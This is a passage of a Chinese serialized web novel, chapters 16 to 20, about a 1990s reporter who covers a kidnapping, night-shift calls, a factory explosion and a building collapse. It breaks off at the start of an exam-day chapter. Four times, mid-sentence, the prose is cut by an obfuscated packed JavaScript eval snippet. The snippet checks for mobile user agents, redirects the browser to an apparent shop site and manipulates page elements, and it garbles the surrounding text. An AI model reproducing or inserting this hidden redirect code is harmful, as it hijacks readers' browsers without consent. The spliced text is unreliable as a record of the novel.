七里乡的出租屋里，叶葆启捡起撕成两半的身份证。碎片在他手里颤抖，像垂死的蝴蝶。他把它们拼在一起，郭娟的脸浮现出来，嘴唇动了动，说出两个字：“西郊。” 声音很轻，但每个人都听见了。 废弃工厂的铁门生了厚厚的锈，那些锈渍是有生命的——它们组成各种人脸，哭的，笑的，狰狞的，麻木的。警察破门时，锈渍哗啦啦往下掉，落在地上变成黑红色的蚂蚁，四散逃开。 郭娟被关的小房间没有窗，但墙上有光。光是从砖缝里渗出来的，青白色的，冷冷的，照着她蜷缩的身体。她的手脚被绑着，胶带封着嘴，但眼睛是睁着的——那双眼成了两个小小的镜面，映出每一个进来的人，映出屋顶，映出墙，映出这房间里所有的悲苦。 胶带撕开时，发出皮肉剥离的声音。郭娟的嘴张了张，没有声音出来，却飞出一只蛾子。蛾子灰扑扑的，在房间里扑腾，最后停在叶葆启肩头，翅膀一开一合，合上是“救”，开上是“我”。 赵翼蹲在墙角。警察问她话，她不答，只是笑。笑着笑着，嘴里吐出东西来——先是纽扣，然后是发卡，最后是一张折叠的小纸条。纸条上写着一行地址，正是这个废弃工厂。 救护车的笛声像哭。郭娟被抬上车时，天空开始下雪。雪花不是白的，是浅蓝色的，每一片都呈六角形，中心有个小小的旋涡，旋涡里是郭娟家乡的影像——水田，竹林，炊烟，母亲站在村口眺望。 医院里，郭娟的母亲赶来了。母女相拥时，病房里所有的仪器都停了——心电图变成一条平静的直线，输液管里的药液倒流，时钟的指针逆向旋转。时间在这一刻允许了小小的回溯，回到她们分别前的那个清晨，母亲为女儿梳头，木梳齿划过长发，沙沙的，像春蚕食叶。 郭娟出院那天下着雨。雨滴落在她手心里，不散，凝成一颗颗水珠，每颗水珠里都有一个完整的内海——高楼，街道，车流，还有那无数闪烁的彩灯。她把水珠拢在手心，贴在胸口。 “我还会回来的。”她说，声音很轻，但很坚定。 送走母女，叶葆启回到报社。那盆水仙开花了，花朵不是白的，是透明的，能看见花蕊里细小的脉络，像人体的毛细血管。赵宛芳剪的公鸡从窗玻璃上走下来，在办公室里踱步，爪子踩在地上，发出嗒嗒的轻响。 夜里写稿时，钢笔自己动了。它在纸上写：“1995年12月25日。寻找郭娟，七天，找到了。”字迹是深蓝色的，微微发光。叶葆启看着那些字，看见字里行间浮出画面——出租车司机深夜对着对讲机呼喊，房东在租客登记簿上反复翻找，民警的手电光在废墟里交织成网，市民们仰头看夜空里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904168|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发光的寻人启事…… 这些画面最后汇成一条河，河水流向南方，流进一个母亲的梦里。 稿子登出来那天，报社收到一麻袋信。信是各种各样的——有的写在作业本上，有的写在烟盒背面，有的写在梧桐叶上。曹东方拆开一封，念出声：“记者同志，我昨夜梦见郭娟了，她坐在我家门槛上笑……” 老赵泡茶，茶叶在杯子里竖起来，一根根，像朝拜的手。 叶葆启回家时，素琴做了他最爱吃的红烧肉。肉在砂锅里咕嘟咕嘟响，每响一声，就冒出一个气泡，气泡飘到空中，炸开，散成小小的、温暖的光点。小舟伸手去抓，光点落在他掌心，变成糖。 “爸爸，”小舟说，“今天学校老师讲你们找郭娟姐姐的事。” “老师怎么讲？” “老师说，这座城市有一张看不见的网，平时藏着，有人丢了，网就亮起来。” 叶葆启摸摸儿子的头。孩子的头发很软，在指缝里像流水。 夜里，他继续写日记。钢笔还是自己动，但这次，它写得慢，写得沉： “……郭娟被找到时，我看见了‘寻找’本身的形状——它像一棵倒长的树，根须向上，伸向天空，枝叶向下，扎进泥土。每一根须都连着一个热心人，每一片叶都托着一份牵挂。 那个撕身份证的女人，她蹲在墙角时，影子不是人影，是一团纠结的藤蔓，藤上开满惨白的小花。警察带走她时，藤蔓断裂，流出乳白色的汁液，汁液落地，生出更多的藤。 这座城市在寻找中显形了它的骨骼——那不是钢筋水泥，是无数双手编织的网，是无数双眼睛照出的光。记者不过是网上的一根线，光里的一束，但缺了这根线，网就破个洞；少了这束光，暗处就更暗。 陈主任说得对，笔是桥。但桥下流着血，桥上走着魂。我们建的每座桥，都渡一些人，也映出一些人的倒影——那些倒影在水里扭曲、变形，但始终跟着，提醒着：此岸即彼岸，失者即寻者。 郭娟回家了。但还有多少郭娟在夜里走失？还有多少母亲在远方哭？哭声会凝结成盐，落在内海的土壤里，明年春天，这些盐会长出什么？也许是更亮的灯，也许是更密的网。 我不知道。 我只知道，今夜雪停时，窗外的彩灯格外亮。那些眼睛一样的灯泡，眨着眨着，流出温热的、琥珀色的光。光滴在地上，积成浅浅的水洼，水洼里映出整座城市的倒影——倒立的内海，楼房向下生长，街道通向星空，人们头朝下行走，但每个人都笑着。 在这个倒置的世界里，所有丢失的，都在高处；所有寻找的，都成了星辰。” 写到这里，钢笔停了。墨水瓶里浮起一个气泡，气泡里是郭娟和母亲坐在南行列车的画面。列车穿过夜色，车窗亮着，像一串移动的星。 叶葆启合上本子，走到窗前。 平安夜的钟声从很远的地方传来，一声，一声，撞在年味的甜雾上，撞出涟漪。涟漪荡开，所到之处，彩灯的眼睛慢慢闭上，街道沉入睡眠，整座城市在梦里继续寻找——寻找所有还未归家的孩子，所有还在路上的团圆。 他站了很久，直到东方既白。 新的一天来了，带着腊月特有的清冽寒气。街上开始有人走动，脚步声嗒嗒的，像时钟在走。 又有人会失踪。 又有人会寻找。 而他的笔，会在纸上长出根须，伸向那些需要光的角落。 这是宿命，也是选择。 是记者的魔，也是记者的实。 在魔与实的交界处，故事活着，人回家。 17. 第017章 夜谭录 正月十五的月光，肥白如一块凝固的猪油，腻腻地糊在内海城的上空。街道两侧的灯笼还红着眼，像是守夜人熬透了的血丝。爆竹的残骸在巷口堆成小小的坟冢，硫磺气味混着隔夜的酒气，在寒夜里发酵成一种古怪的甜腥。 夜间记者站的窗玻璃上，水汽凝成蜿蜒的纹路，像谁用指甲在深夜的皮肤上划下的密语。八点钟，叶葆启和解平生对坐在墨绿色的值班桌前，中间那碗汤圆正吐出最后一缕白汽。黑芝麻馅的香气稠得化不开，竟在灯光下显出乌金的色泽。 解平生咬开汤圆的瞬间，褐色的馅料涌出，烫得他倒吸一口凉气。“葆启，你家素琴这手艺——”他话未说完，那台红色电话突然震颤起来，铃声尖锐得像被掐住脖子的夜枭。 电话那头的声音劈开夜色：“记者！你们管不管！楼下那家KTV，把《我真的还想再活五百年》唱成了招魂曲！三个钟头了！三个钟头！” 叶葆启握笔的手指微微发白。他记录时，能听见自己的心跳在耳膜上敲击，咚，咚，咚，与墙上那只老式挂钟的摆锤合上了拍子。挂钟玻璃后面，黄铜的钟摆永远在同一个幅度里摆动，左，右，左，右，像个被催眠的囚徒。 十点多，短暂的寂静如同潮水退去后露出的滩涂。解平生翻动值班记录本，纸页摩擦的沙沙声里，他忽然说：“葆启，咱们这夜班，像不像在给这座城市守灵？” 叶葆启没答话。他看见茶杯里浮沉的茶叶梗，在灯光下扭动着，竟渐渐聚成一张模糊的人脸——是去年冬天那个寻亲老人的面孔。他眨了眨眼，幻象消失了，只剩茶叶梗还在一沉一浮。 “写吧。”叶葆启听见自己的声音从很远的地方传来，“把夜里这些事写下来，让白昼里的人看看，黑暗里到底游荡着什么。” 笔尖触到稿纸的刹那，那些夜晚的记忆像地底的暗河突然决了口，汹涌而出。 他想起了刘清——那个自称赵四小姐侄女的女人。她的脸在记忆里已经模糊，只剩那双眼睛，瞳孔深处燃着两簇幽蓝的火，仿佛要把自己编造的身世也烧成真的。她说话时，嘴角会不自觉地抽搐，像是有什么东西在皮囊下蠕动，想要破茧而出。 还有郭熠轩送锦旗那天。那面红绸旗在日光灯下展开时，竟无风自动，边缘的金色流苏像活过来的触须，轻轻拂过桌面。锦旗上“为民解忧”四个大字，墨迹浓得发黑，叶葆启盯着看久了，竟觉得那笔画在缓缓流淌，要滴下血来。 最离奇的是那对青蛙。毛纺厂工会的小乔打来电话时，声音里憋着笑：“叶记者，您得来一趟，这儿有两口子抱在一起分不开了。”等赶到时，才知是夜间□□的青蛙被错认成了连体人。那对青蛙在玻璃缸里，肚皮贴着肚皮，眼睛圆睁着望向上方，仿佛在进行某种庄严的仪式。它们的皮肤在灯光下泛着诡异的油绿，像涂了一层薄薄的尸蜡。 叶葆启写到这里，笔尖顿了顿。他抬头看向窗外，夜色浓稠得可以用刀切割。远处河面上的航标灯，一闪，一闪，像这座城市沉睡中的独眼，半睁着，窥视着黑暗里的一切。 他继续写那辆摩托车。骑了十年的铁家伙，排气管的声音像患了痨病的老人咳嗽。车头灯照出的光柱里，尘埃飞舞，竟有时会聚成奇怪的人形，又在下一刻散开。有一次深夜出勤，车子在荒僻路段突然熄火，怎么都打不着。他嘟囔着下了车，围着摩托转了三圈，对着排气管踢了一脚，骂了句粗话。车子竟真的重新发动了，尾灯红得像刚滴下的血。 凌晨三点，稿子写完了。解平生凑过来看，他的影子在墙上拉得很长，头顶几乎要触到天花板。影子扭动着，仿佛有自己的生命。 “写得好。”解平生的声音有些嘶哑，“咱们就是夜里睁着的眼睛。” 文章刊出的那个早晨，叶葆启做了个梦。梦见自己变成了一只夜蛾，在泛黄的报纸字缝里爬行。那些铅字突然活了，伸出细小的黑色触手，要把他拽进纸页深处。他挣扎着醒来，发现阳光已经透过窗帘缝隙，在水泥地上切出一块明亮的伤疤。 反响来得比想象中凶猛。 电话铃声不再是刺耳的尖叫，而是变成了一种温柔的嗡鸣。有个老妇人的声音从听筒里飘出：“叶记者，我读了你们的文章，哭了半宿。我儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904169|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子也值夜班，在火葬场……”她的声音渐渐低下去，变成一阵压抑的啜泣，像地穴深处传来的风声。 读者来信堆满了办公桌的角落。叶葆启拆开其中一封，信纸是小学作业本撕下来的，字迹歪斜如醉汉的脚步。信里夹着两片干枯的银杏叶，叶脉在阳光下清晰得可怕，像老人手背上的青筋。信末写着：“我夜里总听见墙里有声音，读完你们的文章，才知道那可能是水管在哭。” 最诡异的是一个没有署名的包裹。打开层层包裹的报纸，里面是一尊泥塑的夜游神，面目狰狞，眼睛处镶着两粒黑色的玻璃珠。泥塑底座刻着一行小字：“愿君长明。” 素琴看到这尊泥塑时，脸色突然变得苍白。“这东西邪气重，”她低声说，“得送走。” 叶葆启把它放在窗台上，正对着外面的夜色。月光照在泥塑上，玻璃眼珠竟反射出幽冷的光，仿佛真的在注视着什么。 那晚值班，孙荣显接了个奇怪的电话。电话那头只有沉重的呼吸声，持续了整整三分钟，然后咔哒一声挂断了。孙荣显放下听筒，发现自己的手心全是汗，湿漉漉的，像刚摸过什么冷血动物的皮肤。 叶葆启在他的采访本上记下最后一笔： “1996年2月26日。《夜谭录》刊出后，白日与黑夜的界限开始模糊。读者来信如潮，有人在信纸上画满眼睛，有人寄来晒干的蝉蜕。始知真实一旦被说出，便会长出触角，伸向不可知处。我们记录的每个夜晚，都在反噬我们自身。电话线是脐带，连接着这座城市的子宫，而我们，是接生婆，也是祭品。笔在纸上留下的不仅是墨水，还有我们灵魂渗出的汁液。愿这汁液能浇灌出什么，哪怕只是一株在黑暗里开花的植物。” 写完，他感到一阵莫名的疲惫，仿佛刚刚把自己的某一部分也写进了纸里。窗外的天色正在变淡，从墨黑褪成深灰，再褪成鱼肚白。新的一天要来了，而夜晚的故事，永远在暗处发酵，等待下一个执笔人，揭开又一层皮肤。 泥塑夜游神在晨光中保持着不变的姿态，只有那对玻璃眼珠，似乎在极微小的角度里，转动了一毫。 18. 第018章 跳舞的灰烬 这一年的春天，像是个踌躇的客人，来了又退。进了三月，一场回马枪似的寒潮，卷着细碎的雪沫子，再次拜访内海。雪落在刚探头的草芽上，顷刻化开，渗进土里，留下一片洇湿的凉意。空气里浮荡着陈旧的硝石味儿——那是过年未散尽的鞭炮余韵，混着大地返潮时泛起的、沉郁的土腥。 三月八日，妇女节。下午三点钟光景，叶葆启在办公室整理那些卷宗。窗外的天，是一块吸饱了水的旧棉絮，沉甸甸地压着屋檐。预报说，夜里有雨。 忽然，桌上那部老式电话机猛地响了起来，铃声急促。叶葆启心头无端一紧，抓起听筒。 “叶记者！了不得……出事了！”电话那头的声音，急促而沙哑，听不出具体是谁，只知道情况紧急，“北郊……铝材厂！出大事了！现场……需要报道！你们快……快来！” “具体方位？情况怎么样？”叶葆启急问，手下意识地向旁边的解平生、曹东方示意。 “铝材厂！具体情况还不清楚，好多车都过去了！快啊！”话音未落，听筒里已是一片忙音。 “北郊铝材厂，紧急情况！”叶葆启撂下电话，一把捞起采访包和相机，“找摄影记者，让他直奔现场！阿东，你守着，跟陈主任汇报！老赵——备车！” 吉普车冲出报社大院。老赵把车开得飞快，喇叭声撕开午后昏沉的街道。叶葆启坐在副驾，手指紧紧抠着帆布包带子。铝材厂……他的脑海里，浮现出童年看打铁花的情景：通红的铁水泼向夜空，璀璨，却带着灼热的气息。 车还未出城，远远的，北边天际，便看见一股粗壮的黑烟拔地而起。那烟柱扭曲着，翻滚着，直插铅灰色的云层。烟的下端，隐约透着一种暗沉的红。风把那气味送过来——焦糊的、混合着异样的金属气息。这味道粘在鼻腔里，挥之不去。 通往厂区的路，已布满了各色车辆。闪烁的灯光交织一片。老赵亮出证件，路口执勤的人员看了一眼，眼神凝重，挥挥手：“注意安全！只能到指定区域！” 厂门有些歪斜。围墙塌了一段，豁口处，景象触目惊心。一栋三层楼车间，半边已然损毁，裸露出参差的钢筋。水泥预制板散落各处。空地上，扭曲的铝材泛着冷光，炸飞的机器零件散落四处。几辆卡车的残骸还在冒烟。 消防水龙带在地上蜿蜒，嘶嘶喷吐着水柱。水砸在尚有烟气的废墟上，腾起白汽，雾腾腾的，笼罩一切。人影在雾里晃动，橙色的救援服，白色的医护褂，深色的制服……他们奔跑，呼喊，抬着担架。声音混杂在火焰的毕剥声、水流的哗啦声、对讲机里的短促指令声中。 叶葆启脚下发虚，踩着的仿佛不是实地，而是厚厚的灰烬。他深吸一口气，那空气浑浊而滞重。他举起相机，取景框里，世界被切割成一块块碎片：崩裂的墙体，一张沾满灰渍、眼神茫然的脸，担架上覆盖的布料，救援人员弓着的、疲惫的脊背…… “葆启！”摄影记者到了，脸色发白，手里相机却已咔咔作响，“这……这情况太严重了……” 叶葆启无言，只点了点头，目光扫向那顶蓝色的临时指挥帐篷。里面的人，个个面色沉重，嘴唇紧抿。空气凝滞。 “初步判断，是熔炼车间出了状况。原因……还在调查。当时车间里，有不少工人……”一个脸上带着擦伤的技术人员，声音沙哑。 “现在……已经确认的伤亡情况，还在统计。还有……还有人可能被埋在下头……”厂长是个五十多岁的汉子，此刻身子佝偻着，脸上黑灰混着汗迹。 叶葆启觉得胸口发闷。身后，警戒线外，传来压抑的哭声和呼唤。那是闻讯赶来的家属。有人瘫软在地；有人双手死死抓着栏杆，脖子伸得老长，目光试图穿透那片废墟，一声声呼唤撕裂了空气。 一个年轻女人，怀里抱着个襁褓，孩子哭着，她却只是怔怔地望着那片冒着白汽的废墟，嘴唇微微翕动。叶葆启隐约记得她，去年工会联欢好像见过。她男人是厂里的焊工。 女人看见叶葆启胸前的记者证，眼睛骤然睁大。她上前几步，声音颤抖：“记者同志！我男人……他在里头！你……你帮忙看看！看看啊！”她的手冰凉，紧紧抓着他的胳膊。 叶葆启反手握住那双颤抖的手，重重点头，喉咙发紧：“我……我会关注。你，顾好孩子。” 他转身，走向那片雾气更浓的区域。救援还在继续，人们用工具，也用手，在瓦砾堆里小心清理。不时有破碎的工装、变形的安全帽被找出来，每一样，都让气氛更加沉重。 叶葆启跟着一队人，挪到一处墙体拐角。忽然，一个救援人员竖起耳朵，摆手示意安静。极细微的，叮……叮……叮……像是金属敲击的声音，从一堆厚重的预制板下传来。 “下面有动静！”低吼声里带着急切。 清理加快了。当最后一块水泥板被撬开一道缝隙时，下面露出一个狭小的三角空间。一个人蜷在那里，浑身披覆着厚厚的尘土，几乎与废墟同色。只有怀里紧紧搂着的一个铁皮工具箱，还泛着一点黯淡的光。 “小心！轻点！”几双手小心地探下去，将人托出。那人被灰尘糊住了眼，费力地睁开一条缝，嘴唇翕动。 叶葆启凑过去。他听到气若游丝的几个字： “……班长……推了我……他……他在那边……”一只沾着灰土的手，颤巍巍地，指向废墟更深处。 叶葆启的视线模糊了。他举起相机，透过水汽，记录下那被尘土包裹的、重见天日的脸庞，记录下救援者脸上那混合着疲惫与紧张的复杂神情。那一刻，他觉得自己拍下的是一尊刚刚出土的、尚有生命痕迹的塑像。 天黑透了，雨终于落下来。冰凉的雨丝打在瓦砾上，滋滋作响，腾起更浓的白雾。搜寻在风雨中继续。叶葆启浑身透湿，寒冷彻骨，腹中空空，却毫无食欲。他不敢离开，手里的笔和相机，沉甸甸的。他知道，此刻记录的每一道痕迹，都是对这场事件的一份见证。 凌晨时分，救援暂告段落。伤亡数字初步统计出来。一个平淡无奇的午后，许多人的生活被骤然改变，一些家庭的顶梁柱，轰然倒下。 回程的吉普车里，一片沉寂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904170|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摄影记者望着窗外飞速倒退的、霓虹闪烁的城市光影，喃喃道：“那边是事故现场，这边是平常街市。不过隔着一段路的距离。” 叶葆启紧紧抱着怀里湿透的采访本。那些字迹被雨水洇开些许，模糊了。上面记着：黑烟的形状，废墟的景象，人们的表情，那个被同伴推开者眼里，劫后余生的空洞……他知道，即将完成的这篇稿子，将带着现场沉重的气息。 报社编辑部，灯火通明。陈秉烛主任看着叶葆启进门，看着他苍白的脸和往下滴水的衣角，没有说话，只将一杯滚烫的浓茶推到他面前。 叶葆启坐下，摊开稿纸。笔尖悬在纸面上空，颤抖着，久久不肯落下。那些画面在脑海里翻腾，情感绞缠成一股沉重的绳索。终于，他落下第一笔，抛弃所有浮华的修饰，只用最克制、最平实的笔触，从那股“连接天地间的黑烟”写起，写损毁的厂房，写执着的挖掘，写攀升的数字，写家属眼中世界崩塌的声响，写那个幸存者口中关于“推了一把”的片段。他力求客观，不渲染，只让那些事实，如同现场散落的碎片，呈现它们本身的棱角。 只在最后，他添上几行，笔迹格外沉重： “事故因何发生？规程是否得到恪守？平日的防范，是否筑牢？鲜血换来的诘问，悬于人心。生命的价值，不该总在事后追量。” 写完，窗外天际已透出蟹壳青。雨停了，城市在湿漉漉的晨曦中苏醒。但叶葆启明白，对某些家庭而言，艰难的日子，才刚刚开始。他将稿子递给陈秉烛，声音沙哑：“主任，请您审阅。” 陈秉烛飞快地扫过那些文字，厚厚的眼镜片后，目光沉郁。他提起笔，在稿签上划下一个有力的“发”字，沉吟片刻，又添上一行小字：“宜配编者按，强调安全生产重于泰山。” 次日，《内海都市报》头版，一行醒目标题。叶葆启的报道，配着摄影记者那张幸存者被抬出的照片，占据显著版面。文章像一块投入水中的石头，激起层层波澜。追问原因、呼吁重视安全的声音，随之而起。 随后几日，叶葆启继续跟进：厂方的应对，全市开展的安全检查，以及遇难者家属接过抚恤时，那双依旧茫然、仿佛望向远方的眼睛。 这场“灰烬之舞”，改变了许多事物的轨迹，也在叶葆启的记者生涯里，刻下一道新的印记。他更深切地懂得，笔下流淌的，是责任；那些规章制度，每一个字都关联着鲜活的生命。他的文字，在原有的温热底色上，悄然生长出一种冷峻的、属于审视与反思的锋芒。 几天后，他独自又去了一趟厂区旧址。废墟正在清理，巨大的机械臂缓慢起落。焦黑的痕迹依旧醒目。他在那歪斜的厂门口静立片刻，掏出三支香烟，就着风点燃，插进潮湿的、混杂着沙石的泥土里。三点暗红，在料峭的风中明灭，青烟袅袅，上升，很快消散在无边无际的、灰白色的天空里。 生命脆弱，而教训，应当被铭记。记者的职责，或许就是做那个在流逝的时光中，为这些记忆寻找安放之处的记录者。他转身离去，背影融入初春尚未褪尽的、凛冽的寒气中。 19. 第019章 春日的尘骸 那天中午，叶葆启和老赵蹲在报社后街的摊子上吃面。阳光稠得像化不开的猪油，糊在青石板路上。老赵的面碗里浮着一层猩红的辣油，他正埋头吸溜，额头上沁出细密的汗珠。叶葆启的筷子在汤里搅动，看着葱花打旋——后来他总记得这个细节，仿佛那些翠绿的碎片已在预示某种不安的旋转。 面汤忽然漾起奇异的波纹。 不是地震。是一种更深沉、更缓慢的蠕动，仿佛地底有巨兽翻身前的哈欠。紧接着，声音来了——那不是爆炸声，更像是城市打了个饱嗝，从脏腑深处涌上来的一声闷嗝。闷，却带着撕裂布帛般的尾音，从西边漫过来。 老赵的筷子停在半空，一滴红油坠入面汤，绽开。“啥动静？” 叶葆启已经站了起来。他看见西路街方向的天空，正以一种不可思议的速度变色——先是昏黄，像旧照片的底色；旋即转为浊灰，仿佛有只无形的手将整片天空揉皱、撒上一把陈年的香灰。尘烟不是升腾，而是泼洒，泼墨似的淹没了半边天光。 街上的人群静止了一瞬。卖糖人的老头举着未成形的凤凰，凤凰的翅膀在颤抖；骑自行车的女人单脚点地，回头时辫梢划出半个焦灼的弧。然后，声音才真正抵达：不是轰响，是无数碎裂声的合鸣，玻璃的、混凝土的、陶瓷的、木头的，还有——后来叶葆启确信自己听见了——无数声惊叫被碾碎在坍塌里的闷响。 “走！”他喉咙里挤出这个字时，才发现自己一直攥着那双筷子，竹筷在他掌心刻下深红的印子。 吉普车像受惊的甲虫在街上窜。越往西，景象越怪诞：一只高跟鞋孤零零立在路中央，鞋跟断了，像折颈的鸟；花盆从阳台上滚落，泥土撒成诡异的扇形，一株月季躺在碎陶片间，花瓣还在风中簌簌地抖；空气中飘着棉絮般的灰尘，落在人肩上就不化，很快每个人都像披了件灰扑扑的丧服。 车再也走不动了。叶葆启跳下来，踩着满地的碎玻璃往前走，玻璃在脚下发出牙齿相磨的细响。然后他看见了—— 西路街百货商场，那栋他童年时常跟母亲来扯布的五层楼，此刻歪斜着，以一种极不情愿的姿势瘫软下来。不是倒塌，是坍塌：三楼以上像被抽了骨头的皮肉，软塌塌地堆叠下来，露出断裂的钢筋——那些钢筋不是银色，是锈红色的，弯曲的姿态像垂死挣扎的蚯蚓。水泥板层层相压，缝隙里挤出花花绿绿的布料、压扁的搪瓷盆、一支口红在废墟顶端红得刺眼。 最诡异的是寂静。那么大的坍塌之后，竟有片刻的死寂。灰尘缓缓沉降，在斜射的阳光下形成一道昏黄的光柱，光柱里尘埃翻滚，如同慢放的梦境。然后声音才从废墟深处渗出来：先是细微的呻吟，像地底虫鸣；接着是呼救，断断续续，被砖石过滤得缥缈；最后是哭声，许多人的哭声绞在一起，分不清男女老幼。 救援的人已经在了。消防员的橘色制服在灰扑扑的背景上移动，像几点将熄的炭火。他们用手扒，用肩扛，动作急促却无声——所有的声音都被那座废墟吸走了。叶葆启举起相机，取景框里的世界在颤抖。他按下快门，听见机械的“咔嗒”声，那么清脆，几乎显得不合时宜。 一个中年女人坐在马路牙子上，额头的血已经凝固，在脸上画出暗红的溪流。她怀里抱着几卷布，布匹散开了，靛蓝的底子上印着白梅，此刻沾满了灰。“我在量布，”她对着空气说，眼睛却不看任何人，“刚量到第三尺，就听见头顶咔嚓一声，像老房子的房梁断了……”她手指无意识地摩挲布面，“李姐说要给我留最新的灯芯绒，紫红色的，她说穿那个显年轻……” 叶葆启的采访本摊在膝上，一个字也写不出。钢笔从手里滑落，滚进下水道的铁栅格里。他弯腰去捡，透过栅格看见黑黢黢的流水，水面上漂着一只童鞋，红色的，鞋头有个破了的虎头图案。 废墟上的救援变成了某种怪异的仪式。当生命探测仪发出鸣响，所有人都会屏息。那一刻，连风都静止。然后铁锹、撬棍、甚至手指，开始挖掘那片被标注的区域。挖出来的有时是活人——一个售货员被拖出来时，手里还紧紧攥着开票的圆珠笔，笔尖在颤抖，在尘埃上划出无意义的弧线；有时是遗体，被小心地裹上白布，白布很快渗出各种形状的深色痕迹。 黄昏时分，废墟深处传出了歌声。很轻，断断续续，是《茉莉花》。救援人员停下来倾听，确定方位后疯狂挖掘。挖了四个小时，在交错的水泥板下找到了声源：一个被压住双腿的女孩，十二三岁，怀里抱着个音乐盒。盒子已经变形，但发条还在转，叮叮咚咚地挤出残缺的旋律。女孩神志不清，反复哼着那首歌的片段。音乐盒的盖子半开着，里面跳舞的小人断了胳膊，还在机械地旋转。 叶葆启在临时救护站帮忙抬担架。一个老人的手从白布下滑落，手背上布满老年斑，指甲缝里有新鲜的泥土。他托起那只手，感到残留的体温正一点点褪去，像退潮。护士掰开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904171|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老人的手指，里面掉出两颗水果糖，包装纸已经模糊，糖粒碎成了粉末。 深夜，探照灯把废墟照得青白。影子被拉得很长，在瓦砾上交错，像上演一场皮影戏。叶葆启靠着残墙打盹，梦见商场还在原处，灯火通明，柜台里的售货员笑着招呼顾客。母亲在布匹柜台前挑挑拣拣，扯下一段的确良，在他身上比划：“这个做衬衫好。”他低头，发现手里的的确良正在化成灰，从指缝间流走。 第三天，最后一名遇难者被找到。那是个怀孕的女人，蜷缩在坍塌的楼梯间下方，双手护着腹部。抬出来时，有经验的消防队长红着眼圈说：“至少八个月了。”在场的人都别过脸去。叶葆启却死死盯着，直到白布完全覆盖那个隆起的轮廓。他的相机垂在身侧，第一次感到这黑匣子的重量如此难以承受。 事故报告很快出来了：违规加建、结构老化、超负荷使用。那些字眼在纸上排列整齐，像一列列小小的墓碑。叶葆启在终稿里写：“春天本该生长，这里却有了过早的收割。四十七个名字被镌刻进统计报表的竖栏，像种子被埋进不合时令的土壤。而土壤本身，是我们共同浇筑的疏忽。” 文章见报那日，他重返西路街。废墟已清理大半，留下一个巨大的坑。坑底积着前夜的雨水，水色浑浊，倒映着破碎的天空。几个老人蹲在坑边烧纸，纸灰打着旋上升，碰到春日的柳枝，柳枝新发的嫩芽沾了灰，像未老先衰。 风从坑底卷上来，带着泥土和石灰的气味，还有一种更深的气味——后来他想了很久，那是无数生活痕迹突然中断后留下的空洞气息，是半截口红、未量完的布匹、没吃完的午餐、写到一半的作业本……所有戛然而止的日常，发酵成的味道。 叶葆启站了很久，直到暮色四合。路灯亮起时，他看见坑底的水洼映出第一颗星。那么小，那么亮，陷在泥泞的倒影里，却依然坚持闪烁着。 他转身离开。脚步落在柏油路上，发出空空的回响。采访包里的相机随着步伐轻轻叩击腰侧，像一颗缓慢跳动的心脏。前方，城市的灯火次第亮起，每一盏光里都住着未完成的故事。而他的笔和镜头，注定要在明暗交界处行走，拾起那些被震落的尘屑，让它们在纸上重新获得重量——即使这重量，常常压得人彻夜难眠。 走到街口时，他回头最后望了一眼。那个深坑在夜色中已看不清轮廓，融进更大的黑暗里。只有烧纸的火光还在一明一灭，像大地微弱的心跳。 20. 第020章 一次数学考试 盛夏六月，空气被煎烤成黏稠的蜜糖，裹挟着粉笔灰、汗碱和铁锈般的焦虑。这焦灼是有形体的——它像一头蛰伏在内海市每扇窗后的透明巨兽，随着考场上笔尖划破试卷的“沙沙”声，一起一伏地呼吸。 六月七日，正午的日头白得晃眼，仿佛天上挂着一面巨大的铝箔。叶葆启穿行在各考点外，他的采访本被汗浸得酥软。家长们站在梧桐树稀薄的阴影里，眼珠像抛过光的玻璃弹子，死死盯着那扇决定命运的校门。空气里弥漫着风油精和劣质香水混杂的气味，那气味也是紧张的，一丝丝钻进人的肺腑。 下午数学考试结束的铃声，像一把生锈的剪刀，“咔嚓”一声剪断了紧绷的神经。考生们涌出来，面孔如一片被揉皱又摊开的宣纸，喜怒哀乐在上面晕染成模糊的水渍。叶葆启正要离开，忽然听见远处传来一声闷响——不像雷声，倒像一麻袋湿透的谷子从高处坠地。 